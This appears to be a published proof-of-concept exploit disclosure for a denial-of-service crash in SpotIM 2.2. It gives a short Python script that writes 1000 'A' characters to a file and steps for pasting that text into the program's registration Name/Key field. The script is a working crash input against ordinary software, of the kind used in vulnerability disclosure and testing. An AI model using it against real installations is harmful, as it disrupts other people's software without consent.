SpotIM 2.2 - Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: SpotIM 2.2 - 'Name/Key' Denial of Service (PoC)
# Date: 09/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com
# Software Link http://www.nsauditor.com/downloads/spotim_setup.exe
# Version: 2.2
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "SpotIM.py", it will create a new file "SpotIM.txt"
# 2.- Copy the text from the generated SpotIM.txt file to clipboard
# 3.- Open SpotIM
# 4.  Select "Register" > "Enter Registration Code..."
# 5.- Paste clipboard in the Name/Key field 
# 6.- Click 'OK'
# 7.- Crashed

buffer = "\x41" * 1000
f = open ("SpotIM.txt", "w")
f.write(buffer)
f.close()